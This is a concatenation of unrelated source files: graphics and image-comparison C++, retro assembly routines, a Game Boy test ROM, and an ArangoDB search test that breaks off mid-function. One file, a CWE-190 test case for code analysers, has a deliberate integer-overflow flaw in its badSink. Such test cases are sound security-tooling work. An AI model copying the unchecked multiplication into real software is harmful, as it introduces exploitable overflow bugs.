#include "StaticBall.h" GLfloat sAmbient[3] = { 0.1, 0.3, 0.1 }; GLfloat sSpecular[3] = { 0.4, 1.0, 0.4 }; StaticBall::StaticBall() {} StaticBall::~StaticBall() {} StaticBall::StaticBall(const Point& pos) :Ball(pos, Vec(0.0, 0.0, 0.0), BallGUI(sAmbient, sSpecular), false) {}
#include <butteraugli/butteraugli.h> #include <emscripten/bind.h> #include <emscripten/val.h> using namespace emscripten; using namespace butteraugli; // Turns an interleaved RGBA buffer into 4 planes for each color channel void planarize(std::vector<ImageF>& img, const uint8_t* rgba, int width, int height, float gamma = 2.2) { assert(img.size() == 0); img.push_back(ImageF(width, height)); img.push_back(ImageF(width, height)); img.push_back(ImageF(width, height)); img.push_back(ImageF(width, height)); for (int y = 0; y < height; y++) { float* const row_r = img[0].Row(y); float* const row_g = img[1].Row(y); float* const row_b = img[2].Row(y); float* const row_a = img[3].Row(y); for (int x = 0; x < width; x++) { row_r[x] = 255.0 * pow(rgba[(y * width + x) * 4 + 0] / 255.0, gamma); row_g[x] = 255.0 * pow(rgba[(y * width + x) * 4 + 1] / 255.0, gamma); row_b[x] = 255.0 * pow(rgba[(y * width + x) * 4 + 2] / 255.0, gamma); row_a[x] = 255.0 * pow(rgba[(y * width + x) * 4 + 3] / 255.0, gamma); } } } class VisDiff { private: std::vector<ImageF> ref_img; int width; int height; public: VisDiff(std::string ref_img, int width, int height) { planarize(this->ref_img, (uint8_t*)ref_img.c_str(), width, height); this->width = width; this->height = height; } double distance(std::string other_img) { std::vector<ImageF> img; planarize(img, (uint8_t*)other_img.c_str(), width, height); ImageF diffmap; double diffvalue; if (!ButteraugliInterface(ref_img, img, 1.0, diffmap, diffvalue)) { return -1.0; } return diffvalue; } }; EMSCRIPTEN_BINDINGS(my_module) { class_<VisDiff>("VisDiff").constructor<std::string, int, int>().function("distance", &VisDiff::distance); }
; ; Z88 Small C+ Run Time Library ; Long support functions ; ; djm 25/2/99 ; Rewritten for size and speed (untested, but should be OK) ; ; aralbrec 01/2007 ; sped up some more SECTION code_crt0_sccz80 PUBLIC l_long_asr ; Shift primary (on stack) right by secondary, ; We can only shift a maximum of 32 bits (or so), so the counter can ; go in c .l_long_asr pop bc ld a,l ;temporary store for counter pop hl pop de push bc and 31 ret z ld b,a .loop ld a,d rla ld a,d rra ld d,a ld a,e rra ld e,a ld a,h rra ld h,a ld a,l rra ld l,a dec b jp nz,loop .done ret
#include <iostream> #include <bits/stdc++.h> using namespace std; int main() { ios_base::sync_with_stdio(false); cin.tie(NULL); cout.tie(NULL); long long int t,i,ans,n,c; cin>>t; while(t--) { ans=1; cin>>n; int arr[n]; for (i=0;i<n;i++) { cin>>arr[i]; } sort(arr,arr+n); if (arr[n-1]==0) { cout<<"0\n"; continue; } i=0; while(arr[i]==0) i++; c=arr[i]; for (i=i;i<n;i++) { if(c!=arr[i]) { ans++; c=arr[i]; } } cout<<ans<<"\n"; } return 0; }
; A161435: Number of reduced words of length n in the Weyl group A_3. ; 1,3,5,6,5,3,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 mul $0,2 mov $2,1 add $2,$0 trn $0,5 mov $1,8 lpb $1 mov $1,$2 lpe trn $1,$0
; void sp1_PrintString(struct sp1_pss *ps, uchar *s) ; CALLER linkage for function pointers PUBLIC sp1_PrintString EXTERN SP1PrintString, SP1PSPOP, SP1PSPUSH .sp1_PrintString ld hl,2 add hl,sp ld e,(hl) inc hl ld d,(hl) ; de = & string inc hl ld a,(hl) inc hl ld h,(hl) ld l,a ; hl = & struct sp1_pss push hl ; push & struct sp1_pss call SP1PSPOP call SP1PrintString pop hl ; hl = & struct sp1_pss jp SP1PSPUSH
; A184104: n+floor(5*sqrt(n)); complement of A184105. ; 6,9,11,14,16,18,20,22,24,25,27,29,31,32,34,36,37,39,40,42,43,45,46,48,50,51,52,54,55,57,58,60,61,63,64,66,67,68,70,71,73,74,75,77,78,79,81,82,84,85,86,88,89,90,92,93,94,96,97,98,100,101,102,104,105,106,107,109,110,111,113,114,115,117,118,119,120,122,123,124,126,127,128,129,131,132,133,134,136,137,138,139,141,142,143,144,146,147,148,150 add $0,1 cal $0,184114 ; n + floor(5*sqrt(n-1)); complement of A184115. mov $1,$0 sub $1,1
Name: zel_end3.asm Type: file Size: 14536 Last-Modified: '2016-05-13T04:36:32Z' SHA-1: 652D4C2DF84BD06BEAEEA070034360AA84849FF9 Description: null
.size 8000 .text@48 jp lstatint .text@100 jp lbegin .data@143 c0 .text@150 lbegin: ld a, 00 ldff(ff), a ld a, 30 ldff(00), a ld a, 01 ldff(4d), a stop, 00 ld c, 41 ld b, 03 lbegin_waitm3: ldff a, (c) and a, b cmp a, b jrnz lbegin_waitm3 ld a, 20 ldff(c), a ld a, 02 ldff(ff), a ld a, 06 ldff(43), a ei .text@1000 lstatint: nop .text@1077 ldff a, (c) and a, b jp lprint_a .text@7000 lprint_a: push af ld b, 91 call lwaitly_b xor a, a ldff(40), a pop af ld(9800), a ld bc, 7a00 ld hl, 8000 ld d, a0 lprint_copytiles: ld a, (bc) inc bc ld(hl++), a dec d jrnz lprint_copytiles ld a, c0 ldff(47), a ld a, 80 ldff(68), a ld a, ff ldff(69), a ldff(69), a ldff(69), a ldff(69), a ldff(69), a ldff(69), a xor a, a ldff(69), a ldff(69), a ldff(43), a ld a, 91 ldff(40), a lprint_limbo: jr lprint_limbo .text@7400 lwaitly_b: ld c, 44 lwaitly_b_loop: ldff a, (c) cmp a, b jrnz lwaitly_b_loop ret .data@7a00 00 00 7f 7f 41 41 41 41 41 41 41 41 41 41 7f 7f 00 00 08 08 08 08 08 08 08 08 08 08 08 08 08 08 00 00 7f 7f 01 01 01 01 7f 7f 40 40 40 40 7f 7f 00 00 7f 7f 01 01 01 01 3f 3f 01 01 01 01 7f 7f 00 00 41 41 41 41 41 41 7f 7f 01 01 01 01 01 01 00 00 7f 7f 40 40 40 40 7e 7e 01 01 01 01 7e 7e 00 00 7f 7f 40 40 40 40 7f 7f 41 41 41 41 7f 7f 00 00 7f 7f 01 01 02 02 04 04 08 08 10 10 10 10 00 00 3e 3e 41 41 41 41 3e 3e 41 41 41 41 3e 3e 00 00 7f 7f 41 41 41 41 7f 7f 01 01 01 01 7f 7f
/* TEMPLATE GENERATED TESTCASE FILE Filename: CWE190_Integer_Overflow__int64_t_rand_multiply_74b.cpp Label Definition File: CWE190_Integer_Overflow.label.xml Template File: sources-sinks-74b.tmpl.cpp */ /* * @description * CWE: 190 Integer Overflow * BadSource: rand Set data to result of rand() * GoodSource: Set data to a small, non-zero number (two) * Sinks: multiply * GoodSink: Ensure there will not be an overflow before multiplying data by 2 * BadSink : If data is positive, multiply by 2, which can cause an overflow * Flow Variant: 74 Data flow: data passed in a map from one function to another in different source files * * */ #include "std_testcase.h" #include <map> using namespace std; namespace CWE190_Integer_Overflow__int64_t_rand_multiply_74 { #ifndef OMITBAD void badSink(map<int, int64_t> dataMap) { /* copy data out of dataMap */ int64_t data = dataMap[2]; if(data > 0) /* ensure we won't have an underflow */ { /* POTENTIAL FLAW: if (data*2) > LLONG_MAX, this will overflow */ int64_t result = data * 2; printLongLongLine(result); } } #endif /* OMITBAD */ #ifndef OMITGOOD /* goodG2B uses the GoodSource with the BadSink */ void goodG2BSink(map<int, int64_t> dataMap) { int64_t data = dataMap[2]; if(data > 0) /* ensure we won't have an underflow */ { /* POTENTIAL FLAW: if (data*2) > LLONG_MAX, this will overflow */ int64_t result = data * 2; printLongLongLine(result); } } /* goodB2G uses the BadSource with the GoodSink */ void goodB2GSink(map<int, int64_t> dataMap) { int64_t data = dataMap[2]; if(data > 0) /* ensure we won't have an underflow */ { /* FIX: Add a check to prevent an overflow from occurring */ if (data < (LLONG_MAX/2)) { int64_t result = data * 2; printLongLongLine(result); } else { printLine("data value is too large to perform arithmetic safely."); } } } #endif /* OMITGOOD */ } /* close namespace */
//////////////////////////////////////////////////////////////////////////////// /// DISCLAIMER /// /// Copyright 2017 ArangoDB GmbH, Cologne, Germany /// /// Licensed under the Apache License, Version 2.0 (the "License"); /// you may not use this file except in compliance with the License. /// You may obtain a copy of the License at /// /// http://www.apache.org/licenses/LICENSE-2.0 /// /// Unless required by applicable law or agreed to in writing, software /// distributed under the License is distributed on an "AS IS" BASIS, /// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. /// See the License for the specific language governing permissions and /// limitations under the License. /// /// Copyright holder is ArangoDB GmbH, Cologne, Germany /// /// @author Andrey Abramov /// @author Vasiliy Nabatchikov //////////////////////////////////////////////////////////////////////////////// #include "common.h" #include "gtest/gtest.h" #include "../Mocks/StorageEngineMock.h" #if USE_ENTERPRISE #include "Enterprise/Ldap/LdapFeature.h" #endif #include "3rdParty/iresearch/tests/tests_config.hpp" #include "Aql/AqlFunctionFeature.h" #include "Aql/Ast.h" #include "Aql/OptimizerRulesFeature.h" #include "Aql/Query.h" #include "Basics/VelocyPackHelper.h" #include "GeneralServer/AuthenticationFeature.h" #include "IResearch/IResearchAnalyzerFeature.h" #include "IResearch/IResearchCommon.h" #include "IResearch/IResearchFeature.h" #include "IResearch/IResearchFilterFactory.h" #include "IResearch/IResearchView.h" #include "Logger/LogTopic.h" #include "Logger/Logger.h" #include "RestServer/AqlFeature.h" #include "RestServer/DatabaseFeature.h" #include "RestServer/DatabasePathFeature.h" #include "RestServer/FlushFeature.h" #include "RestServer/QueryRegistryFeature.h" #include "RestServer/SystemDatabaseFeature.h" #include "RestServer/TraverserEngineRegistryFeature.h" #include "RestServer/ViewTypesFeature.h" #include "Sharding/ShardingFeature.h" #include "StorageEngine/EngineSelectorFeature.h" #include "Transaction/StandaloneContext.h" #include "Utils/OperationOptions.h" #include "Utils/SingleCollectionTransaction.h" #include "V8/v8-globals.h" #include "VocBase/LogicalCollection.h" #include "VocBase/LogicalView.h" #include "IResearch/VelocyPackHelper.h" #include "analysis/analyzers.hpp" #include "analysis/token_attributes.hpp" #include "utils/utf8_path.hpp" #include <velocypack/Iterator.h> extern const char* ARGV0; // defined in main.cpp namespace { // ----------------------------------------------------------------------------- // --SECTION-- setup / tear-down // ----------------------------------------------------------------------------- class IResearchQueryNullTermTest : public ::testing::Test { protected: StorageEngineMock engine; arangodb::application_features::ApplicationServer server; std::unique_ptr<TRI_vocbase_t> system; std::vector<std::pair<arangodb::application_features::ApplicationFeature*, bool>> features; IResearchQueryNullTermTest() : engine(server), server(nullptr, nullptr) { arangodb::EngineSelectorFeature::ENGINE = &engine; arangodb::tests::init(true); // suppress INFO {authentication} Authentication is turned on (system only), authentication for unix sockets is turned on // suppress WARNING {authentication} --server.jwt-secret is insecure. Use --server.jwt-secret-keyfile instead arangodb::LogTopic::setLogLevel(arangodb::Logger::AUTHENTICATION.name(), arangodb::LogLevel::ERR); // suppress log messages since tests check error conditions arangodb::LogTopic::setLogLevel(arangodb::Logger::AQL.name(), arangodb::LogLevel::ERR); // suppress WARNING {aql} Suboptimal AqlItemMatrix index lookup: arangodb::LogTopic::setLogLevel(arangodb::Logger::FIXME.name(), arangodb::LogLevel::ERR); // suppress WARNING DefaultCustomTypeHandler called arangodb::LogTopic::setLogLevel(arangodb::iresearch::TOPIC.name(), arangodb::LogLevel::FATAL); irs::logger::output_le(iresearch::logger::IRL_FATAL, stderr); // setup required application features features.emplace_back(new arangodb::FlushFeature(server), false); features.emplace_back(new arangodb::ViewTypesFeature(server), true); features.emplace_back(new arangodb::AuthenticationFeature(server), true); features.emplace_back(new arangodb::DatabasePathFeature(server), false); features.emplace_back(new arangodb::DatabaseFeature(server), false); features.emplace_back(new arangodb::ShardingFeature(server), false); features.emplace_back(new arangodb::QueryRegistryFeature(server), false); // must be first arangodb::application_features::ApplicationServer::server->addFeature( features.back().first); // need QueryRegistryFeature feature to be added now in order to create the system database system = irs::memory::make_unique<TRI_vocbase_t>(TRI_vocbase_type_e::TRI_VOCBASE_TYPE_NORMAL, 0, TRI_VOC_SYSTEM_DATABASE); features.emplace_back(new arangodb::SystemDatabaseFeature(server, system.get()), false); // required for IResearchAnalyzerFeature features.emplace_back(new arangodb::TraverserEngineRegistryFeature(server), false); // must be before AqlFeature features.emplace_back(new arangodb::AqlFeature(server), true); features.emplace_back(new arangodb::aql::OptimizerRulesFeature(server), true); features.emplace_back(new arangodb::aql::AqlFunctionFeature(server), true); // required for IResearchAnalyzerFeature features.emplace_back(new arangodb::iresearch::IResearchAnalyzerFeature(server), true); features.emplace_back(new arangodb::iresearch::IResearchFeature(server), true); #if USE_ENTERPRISE features.emplace_back(new arangodb::LdapFeature(server), false); // required for AuthenticationFeature with USE_ENTERPRISE #endif for (auto& f : features) { arangodb::application_features::ApplicationServer::server->addFeature(f.first); } for (auto& f : features) { f.first->prepare(); } for (auto& f : features) { if (f.second) { f.first->start(); } } auto* dbPathFeature = arangodb::application_features::ApplicationServer::getFeature<arangodb::DatabasePathFeature>( "DatabasePath"); arangodb::tests::setDatabasePath(*dbPathFeature); // ensure test data is stored in a unique directory } ~IResearchQueryNullTermTest() { system.reset(); // destroy before reseting the 'ENGINE' arangodb::AqlFeature(server).stop(); // unset singleton instance arangodb::LogTopic::setLogLevel(arangodb::iresearch::TOPIC.name(), arangodb::LogLevel::DEFAULT); arangodb::LogTopic::setLogLevel(arangodb::Logger::FIXME.name(), arangodb::LogLevel::DEFAULT); arangodb::LogTopic::setLogLevel(arangodb::Logger::AQL.name(), arangodb::LogLevel::DEFAULT); arangodb::application_features::ApplicationServer::server = nullptr; arangodb::EngineSelectorFeature::ENGINE = nullptr; // destroy application features for (auto& f : features) { if (f.second) { f.first->stop(); } } for (auto& f : features) { f.first->unprepare(); } arangodb::LogTopic::setLogLevel(arangodb::Logger::AUTHENTICATION.name(), arangodb::LogLevel::DEFAULT); } }; // IResearchQuerySetup } // namespace // ----------------------------------------------------------------------------- // --SECTION-- test suite // ----------------------------------------------------------------------------- TEST_F(IResearchQueryNullTermTest, test) { TRI_vocbase_t vocbase(TRI_vocbase_type_e::TRI_VOCBASE_TYPE_NORMAL, 1, "testVocbase"); arangodb::LogicalView* view{}; std::vector<arangodb::velocypack::Builder> insertedDocs; // create collection0 { auto createJson = arangodb::velocypack::Parser::fromJson( "{ \"name\": \"testCollection0\" }"); auto collection = vocbase.createCollection(createJson->slice()); ASSERT_TRUE((nullptr != collection)); std::vector<std::shared_ptr<arangodb::velocypack::Builder>> docs{ arangodb::velocypack::Parser::fromJson("{ \"seq\": -7 }"), arangodb::velocypack::Parser::fromJson( "{ \"seq\": -6, \"value\": null}"), arangodb::velocypack::Parser::fromJson( "{ \"seq\": -5, \"value\": null}"), arangodb::velocypack::Parser::fromJson("{ \"seq\": -4 }"), arangodb::velocypack::Parser::fromJson( "{ \"seq\": -3, \"value\": null}"), arangodb::velocypack::Parser::fromJson( "{ \"seq\": -2, \"value\": null}"), arangodb::velocypack::Parser::fromJson("{ \"seq\": -1 }"), arangodb::velocypack::Parser::fromJson( "{ \"seq\": 0, \"value\": null }"), arangodb::velocypack::Parser::fromJson("{ \"seq\": 1 }")}; arangodb::OperationOptions options; options.returnNew = true; arangodb::SingleCollectionTransaction trx(arangodb::transaction::StandaloneContext::Create(vocbase), *collection, arangodb::AccessMode::Type::WRITE); EXPECT_TRUE((trx.begin().ok())); for (auto& entry : docs) { auto res = trx.insert(collection->name(), entry->slice(), options); EXPECT_TRUE((res.ok())); insertedDocs.emplace_back(res.slice().get("new")); } EXPECT_TRUE((trx.commit().ok())); } // create collection1 { auto createJson = arangodb::velocypack::Parser::fromJson( "{ \"name\": \"testCollection1\" }"); auto collection = vocbase.createCollection(createJson->slice()); ASSERT_TRUE((nullptr != collection)); std::vector<std::shared_ptr<arangodb::velocypack::Builder>> docs{ arangodb::velocypack::Parser::fromJson( "{ \"seq\": 2, \"value\": null}"), arangodb::velocypack::Parser::fromJson("{ \"seq\": 3 }"), arangodb::velocypack::Parser::fromJson("{ \"seq\": 4 }"), arangodb::velocypack::Parser::fromJson("{ \"seq\": 5 }"), arangodb::velocypack::Parser::fromJson( "{ \"seq\": 6, \"value\": null}"), arangodb::velocypack::Parser::fromJson( "{ \"seq\": 7, \"value\": null}"), arangodb::velocypack::Parser::fromJson("{ \"seq\": 8 }")}; arangodb::OperationOptions options; options.returnNew = true; arangodb::SingleCollectionTransaction trx(arangodb::transaction::StandaloneContext::Create(vocbase), *collection, arangodb::AccessMode::Type::WRITE); EXPECT_TRUE((trx.begin().ok())); for (auto& entry : docs) { auto res = trx.insert(collection->name(), entry->slice(), options); EXPECT_TRUE((res.ok())); insertedDocs.emplace_back(res.slice().get("new")); } EXPECT_TRUE((trx.commit().ok())); } // create view { auto createJson = arangodb::velocypack::Parser::fromJson( "{ \"name\": \"testView\", \"type\": \"arangosearch\" }"); auto logicalView = vocbase.createView(createJson->slice()); ASSERT_TRUE((false == !logicalView)); view = logicalView.get(); ASSERT_TRUE(nullptr != view); auto* impl = dynamic_cast<arangodb::iresearch::IResearchView*>(view); ASSERT_TRUE((false == !impl)); auto updateJson = arangodb::velocypack::Parser::fromJson( "{ \"links\": {" "\"testCollection0\": { \"includeAllFields\": true, " "\"trackListPositions\": true }," "\"testCollection1\": { \"includeAllFields\": true }" "}}"); EXPECT_TRUE((impl->properties(updateJson->slice(), true).ok())); std::set<TRI_voc_cid_t> cids; impl->visitCollections([&cids](TRI_voc_cid_t cid) -> bool { cids.emplace(cid); return true; }); EXPECT_TRUE((2 == cids.size())); EXPECT_TRUE( (arangodb::tests::executeQuery(vocbase, "FOR d IN testView SEARCH 1 ==1 OPTIONS " "{ waitForSync: true } RETURN d") .result.ok())); // commit } // ----------------------------------------------------------------------------- // --SECTION-- == // ----------------------------------------------------------------------------- // invalid type { auto queryResult = arangodb::tests::executeQuery( vocbase, "FOR d IN testView SEARCH d.value == 'null' RETURN d"); ASSERT_TRUE(queryResult.result.ok()); auto result = queryResult.data->slice(); EXPECT_TRUE(result.isArray()); arangodb::velocypack::ArrayIterator resultIt(result); EXPECT_TRUE(0 == resultIt.size()); for (auto const actualDoc : resultIt) { UNUSED(actualDoc); EXPECT_TRUE(false); } } // invalid type { auto queryResult = arangodb::tests::executeQuery( vocbase, "FOR d IN testView SEARCH d.value == 0 RETURN d"); ASSERT_TRUE(queryResult.result.ok()); auto result = queryResult.data->slice(); EXPECT_TRUE(result.isArray()); arangodb::velocypack::ArrayIterator resultIt(result); EXPECT_TRUE(0 == resultIt.size()); for (auto const actualDoc : resultIt) { UNUSED(actualDoc); EXPECT_TRUE(false); } } // d.value == null, unordered { std::map<size_t, arangodb::velocypack::Slice> expectedDocs; for (auto const& doc : insertedDocs) { arangodb::velocypack::Slice docSlice = doc.slice().resolveExternals(); auto const valueSlice = docSlice.get("value"); if (valueSlice.isNone() || !valueSlice.isNull()) { continue; } auto const keySlice = docSlice.get("seq"); expectedDocs.emplace(keySlice.getNumber<ptrdiff_t>(), docSlice); } auto queryResult = arangodb::tests::executeQuery( vocbase, "FOR d IN testView SEARCH d.value == null RETURN d"); ASSERT_TRUE(queryResult.result.ok()); auto result = queryResult.data->slice(); EXPECT_TRUE(result.isArray()); arangodb::velocypack::ArrayIterator resultIt(result); EXPECT_TRUE(expectedDocs.size() == resultIt.size()); for (auto const actualDoc : resultIt) { auto const resolved = actualDoc.resolveExternals(); auto const keySlice = resolved.get("seq"); auto const key = keySlice.getNumber<ptrdiff_t>(); auto expectedDoc = expectedDocs.find(key); ASSERT_TRUE(expectedDoc != expectedDocs.end()); EXPECT_TRUE(0 == arangodb::basics::VelocyPackHelper::compare(expectedDoc->second, resolved, true)); expectedDocs.erase(expectedDoc); } EXPECT_TRUE(expectedDocs.empty()); } // d.value == null, BM25(), TFIDF(), d.seq DESC { std::map<ptrdiff_t, arangodb::velocypack::Slice> expectedDocs; for (auto const& doc : insertedDocs) { arangodb::velocypack::Slice docSlice = doc.slice().resolveExternals(); auto const valueSlice = docSlice.get("value"); if (valueSlice.isNone() || !valueSlice.isNull()) { continue; } auto const keySlice = docSlice.get("seq"); expectedDocs.emplace(keySlice.getNumber<ptrdiff_t>(), docSlice); } auto queryResult = arangodb::tests::executeQuery( vocbase, "FOR d IN testView SEARCH d.value == null SORT BM25(d), TFIDF(d), " "d.seq DESC RETURN d"); ASSERT_TRUE(queryResult.result.ok()); auto result = queryResult.data->slice(); EXPECT_TRUE(result.isArray()); arangodb::velocypack::ArrayIterator resultIt(result); EXPECT_TRUE(expectedDocs.size() == resultIt.size()); auto expectedDoc = expectedDocs.rbegin(); for (auto const actualDoc : resultIt) { auto const resolved = actualDoc.resolveExternals(); EXPECT_TRUE(0 == arangodb::basics::VelocyPackHelper::compare(expectedDoc->second, resolved, true)); ++expectedDoc; } EXPECT_TRUE(expectedDoc == expectedDocs.rend()); } // ----------------------------------------------------------------------------- // --SECTION-- != // ----------------------------------------------------------------------------- // invalid type { std::map<ptrdiff_t, arangodb::velocypack::Slice> expectedDocs; for (auto const& doc : insertedDocs) { arangodb::velocypack::Slice docSlice = doc.slice().resolveExternals(); auto const keySlice = docSlice.get("seq"); auto const fieldSlice = docSlice.get("value"); if (!fieldSlice.isNone() && "null" == arangodb::iresearch::getStringRef(fieldSlice)) { continue; } expectedDocs.emplace(keySlice.getNumber<ptrdiff_t>(), docSlice); } auto queryResult = arangodb::tests::executeQuery( vocbase, "FOR d IN testView SEARCH d.value != 'null' RETURN d"); ASSERT_TRUE(queryResult.result.ok()); auto result = queryResult.data->slice(); EXPECT_TRUE(result.isArray()); arangodb::velocypack::ArrayIterator resultIt(result); EXPECT_TRUE(expectedDocs.size() == resultIt.size()); for (auto const actualDoc : resultIt) { auto const resolved = actualDoc.resolveExternals(); auto const keySlice = resolved.get("seq"); auto const key = keySlice.getNumber<ptrdiff_t>(); auto expectedDoc = expectedDocs.find(key); ASSERT_TRUE(expectedDoc != expectedDocs.end()); EXPECT_TRUE(0 == arangodb::basics::VelocyPackHelper::compare(expectedDoc->second, resolved, true)); expectedDocs.erase(expectedDoc); } EXPECT_TRUE(expectedDocs.empty()); } // invalid type { std::map<ptrdiff_t, arangodb::velocypack::Slice> expectedDocs; for (auto const& doc : insertedDocs) { arangodb::velocypack::Slice docSlice = doc.slice().resolveExternals(); auto const keySlice = docSlice.get("seq"); auto const fieldSlice = docSlice.get("value"); if (!fieldSlice.isNone() && (fieldSlice.isNumber() && 0. == fieldSlice.getNumber<double>())) { continue; } expectedDocs.emplace(keySlice.getNumber<ptrdiff_t>(), docSlice); } auto queryResult = arangodb::tests::executeQuery( vocbase, "FOR d IN testView SEARCH d.value != 0 RETURN d"); ASSERT_TRUE(queryResult.result.ok()); auto result = queryResult.data->slice(); EXPECT_TRUE(result.isArray()); arangodb::velocypack::ArrayIterator resultIt(result); EXPECT_TRUE(expectedDocs.size() == resultIt.size()); for (auto const actualDoc : resultIt) { auto const resolved = actualDoc.resolveExternals(); auto const keySlice = resolved.get("seq"); auto const key = keySlice.getNumber<ptrdiff_t>(); auto expectedDoc = expectedDocs.find(key); ASSERT_TRUE(expectedDoc != expectedDocs.end()); EXPECT_TRUE(0 == arangodb::basics::VelocyPackHelper::compare(expectedDoc->second, resolved, true)); expectedDocs.erase(expectedDoc); } EXPECT_TRUE(expectedDocs.empty()); } // d.value != null, unordered { std::map<size_t, arangodb::velocypack::Slice> expectedDocs; for (auto const& doc : insertedDocs) { arangodb::velocypack::Slice docSlice = doc.slice().resolveExternals(); auto const valueSlice = docSlice.get("value"); if (!valueSlice.isNone() && valueSlice.isNull()) { continue; } auto const keySlice = docSlice.get("seq"); expectedDocs.emplace(keySlice.getNumber<ptrdiff_t>(), docSlice); } auto queryResult = arangodb::tests::executeQuery( vocbase, "FOR d IN testView SEARCH d.value != null RETURN d"); ASSERT_TRUE(queryResult.result.ok()); auto result = queryResult.data->slice(); EXPECT_TRUE(result.isArray()); arangodb::velocypack::ArrayIterator resultIt(result); EXPECT_TRUE(expectedDocs.size() == resultIt.size()); for (auto const actualDoc : resultIt) { auto const resolved = actualDoc.resolveExternals(); auto const keySlice = resolved.get("seq"); auto const key = keySlice.getNumber<ptrdiff_t>(); auto expectedDoc = expectedDocs.find(key); ASSERT_TRUE(expectedDoc != expectedDocs.end()); EXPECT_TRUE(0 == arangodb::basics::VelocyPackHelper::compare(expectedDoc->second, resolved, true)); expectedDocs.erase(expectedDoc); } EXPECT_TRUE(expectedDocs.empty()); } // d.value != null, BM25(), TFIDF(), d.seq DESC { std::map<ptrdiff_t, arangodb::velocypack::Slice> expectedDocs; for (auto const& doc : insertedDocs) { arangodb::velocypack::Slice docSlice = doc.slice().resolveExternals(); auto const valueSlice = docSlice.get("value"); if (!valueSlice.isNone() && valueSlice.isNull()) { continue; } auto const keySlice = docSlice.get("seq"); expectedDocs.emplace(keySlice.getNumber<ptrdiff_t>(), docSlice); } auto queryResult = arangodb::tests::executeQuery( vocbase, "FOR d IN testView SEARCH d.value != null SORT BM25(d), TFIDF(d), " "d.seq DESC RETURN d"); ASSERT_TRUE(queryResult.result.ok()); auto result = queryResult.data->slice(); EXPECT_TRUE(result.isArray()); arangodb::velocypack::ArrayIterator resultIt(result); EXPECT_TRUE(expectedDocs.size() == resultIt.size()); auto expectedDoc = expectedDocs.rbegin(); for (auto const actualDoc : resultIt) { auto const resolved = actualDoc.resolveExternals(); EXPECT_TRUE(0 == arangodb::basics::VelocyPackHelper::compare(expectedDoc->second, resolved, true)); ++expectedDoc; } EXPECT_TRUE(expectedDoc == expectedDocs.rend()); } // ----------------------------------------------------------------------------- // --SECTION-- < // ----------------------------------------------------------------------------- // invalid type { auto queryResult = arangodb::tests::executeQuery( vocbase, "FOR d IN testView SEARCH d.value < 'null' RETURN d"); ASSERT_TRUE(queryResult.result.ok()); auto result = queryResult.data->slice(); EXPECT_TRUE(result.isArray()); arangodb::velocypack::ArrayIterator resultIt(result); EXPECT_TRUE(0 == resultIt.size()); for (auto const actualDoc : resultIt) { UNUSED(actualDoc); EXPECT_TRUE(false); } } // invalid type { auto queryResult = arangodb::tests::executeQuery( vocbase, "FOR d IN testView SEARCH d.value < false RETURN d"); ASSERT_TRUE(queryResult.result.ok()); auto result = queryResult.data->slice(); EXPECT_TRUE(result.isArray()); arangodb::velocypack::ArrayIterator resultIt(result); EXPECT_TRUE(0 == resultIt.size()); for (auto const actualDoc : resultIt) { UNUSED(actualDoc); EXPECT_TRUE(false); } } // invalid type { auto queryResult = arangodb::tests::executeQuery( vocbase, "FOR d IN testView SEARCH d.value < 0 RETURN d"); ASSERT_TRUE(queryResult.result.ok()); auto result = queryResult.data->slice(); EXPECT_TRUE(result.isArray()); arangodb::velocypack::ArrayIterator resultIt(result); EXPECT_TRUE(0 == resultIt.size()); for (auto const actualDoc : resultIt) { UNUSED(actualDoc); EXPECT_TRUE(false); } } // d.value < null { auto queryResult = arangodb::tests::executeQuery( vocbase, "FOR d IN testView SEARCH d.value < null RETURN d"); ASSERT_TRUE(queryResult.result.ok()); auto result = queryResult.data->slice(); EXPECT_TRUE(result.isArray()); arangodb::velocypack::ArrayIterator resultIt(result); EXPECT_TRUE(0 == resultIt.size()); for (auto const actualDoc : resultIt) { UNUSED(actualDoc); EXPECT_TRUE(false); } } // ----------------------------------------------------------------------------- // --SECTION-- <= // ----------------------------------------------------------------------------- // invalid type { auto queryResult = arangodb::tests::executeQuery( vocbase, "FOR d IN testView SEARCH d.value <= 'null' RETURN d"); ASSERT_TRUE(queryResult.result.ok()); auto result = queryResult.data->slice(); EXPECT_TRUE(result.isArray()); arangodb::velocypack::ArrayIterator resultIt(result); EXPECT_TRUE(0 == resultIt.size()); for (auto const actualDoc : resultIt) { UNUSED(actualDoc); EXPECT_TRUE(false); } } // invalid type { auto queryResult = arangodb::tests::executeQuery( vocbase, "FOR d IN testView SEARCH d.value <= false RETURN d"); ASSERT_TRUE(queryResult.result.ok()); auto result = queryResult.data->slice(); EXPECT_TRUE(result.isArray()); arangodb::velocypack::ArrayIterator resultIt(result); EXPECT_TRUE(0 == resultIt.size()); for (auto const actualDoc : resultIt) { UNUSED(actualDoc); EXPECT_TRUE(false); } } // invalid type { auto queryResult = arangodb::tests::executeQuery( vocbase, "FOR d IN testView SEARCH d.value <= 0 RETURN d"); ASSERT_TRUE(queryResult.result.ok()); auto result = queryResult.data->slice(); EXPECT_TRUE(result.isArray()); arangodb::velocypack::ArrayIterator resultIt(result); EXPECT_TRUE(0 == resultIt.size()); for (auto const actualDoc : resultIt) { UNUSED(actualDoc); EXPECT_TRUE(false); } } // d.value <= null, unordered { std::map<size_t, arangodb::velocypack::Slice> expectedDocs; for (auto const& doc : insertedDocs) { arangodb::velocypack::Slice docSlice = doc.slice().resolveExternals(); auto const valueSlice = docSlice.get("value"); if (valueSlice.isNone() || !valueSlice.isNull()) { continue; } auto const keySlice = docSlice.get("seq"); expectedDocs.emplace(keySlice.getNumber<ptrdiff_t>(), docSlice); } auto queryResult = arangodb::tests::executeQuery( vocbase, "FOR d IN testView SEARCH d.value <= null RETURN d"); ASSERT_TRUE(queryResult.result.ok()); auto result = queryResult.data->slice(); EXPECT_TRUE(result.isArray()); arangodb::velocypack::ArrayIterator resultIt(result); EXPECT_TRUE(expectedDocs.size() == resultIt.size()); for (auto const actualDoc : resultIt) { auto const resolved = actualDoc.resolveExternals(); auto const keySlice = resolved.get("seq"); auto const key = keySlice.getNumber<ptrdiff_t>(); auto expectedDoc = expectedDocs.find(key); ASSERT_TRUE(expectedDoc != 